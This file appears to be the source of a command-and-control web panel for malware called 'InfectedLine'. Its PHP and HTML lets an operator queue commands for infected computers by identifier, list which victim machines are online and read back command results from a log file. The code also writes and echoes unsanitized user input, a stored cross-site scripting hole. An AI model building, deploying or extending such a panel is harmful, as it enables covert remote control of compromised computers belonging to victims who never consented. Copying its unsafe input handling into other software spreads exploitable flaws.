<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width" />
    <title>InfectedLine Web Panel - Welcome</title>
    <link href="Content/bootstrap.min.css" rel="stylesheet">

</head>
<body>
    <!-- Marketing messaging and featurettes
    ================================================== -->
    <!-- Wrap the rest of the page in another container to center all the content. -->

    <div class="container marketing">
	<nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
            <span class="sr-only">Toggle navigation</span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
          </button>
          <a style="color: #FFFFFF" class="navbar-brand" href="index.html"><img alt="" src="images/wowicon.png" /></a>
        </div>
        <div id="navbar" class="collapse navbar-collapse">
          <ul class="nav navbar-nav">
            <li><a style="font-size: 1.4em;" href="index.php">Welcome in InfectedLine's Web Panel.</a></li>
          </ul>
        </div><!--/.nav-collapse -->
      </div>
    </nav>
	<br /><br /><br />
	<a href="index.php"><img class="img-responsive" alt="" src="images/logo.jpg" /></a>
	<br /><br />
      <!-- Three columns of text below the carousel -->
      <div class="row">
        <div class="col-md-6">
          <p>
			<?php
			if($_POST['polecenie'])
			{
				$polecenie = $_POST['polecenie'];
				
				$dane = stripslashes($polecenie);
		
				$fp = fopen("commands.html", "a+");
				fclose($fp); 
				
				$file_data = $dane;
				$file_data .= file_get_contents('commands.html');
				file_put_contents('commands.html', $file_data);
			}
			?>
		  
		  <form method="post" action="index.php">
		   <p>
			<label>Polecenie (format: IDENTYFIKATOR=polecenie)<br />
			<input type="text" name="polecenie" value="<?php echo "$polecenie"; ?>" class="form-control"/></label>
		   </p>
		   <p>
			<input type="submit" value="Wyślij"/>   
		   </p>
		  </form>
		  </p>
        </div>
		<div class="col-md-6">
		  <strong>Komputery online (identyfikatory) - <a href="index.php">[ODŚWIEŻ]</a></strong>
		  <div class="panel panel-primary">
			<iframe src="online.html" height="260" width="100%">
			Twoja przeglądarka nie obsługuje IFrame.
			</iframe>
		  </div>
        </div>
      </div><!-- /.row -->
	  <strong>Rezultaty poleceń - <a href="index.php">[ODŚWIEŻ]</a></strong>
	  <div class="panel panel-success">
			<?php
			if (file_exists("logs.html"))
			{
			$file_data = file_get_contents('logs.html');
			
			echo $file_data;
			}
			?>
	  </div>
	  <hr />
      <!-- FOOTER -->
      <footer>
        <p class="pull-right"><a href="#">Na górę strony</a></p>
        <p>InfectedLine Web Panel 2015</p>
      </footer>

    </div><!-- /.container -->

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
    <script src="Scripts/bootstrap.min.js"></script>
</body>
</html>
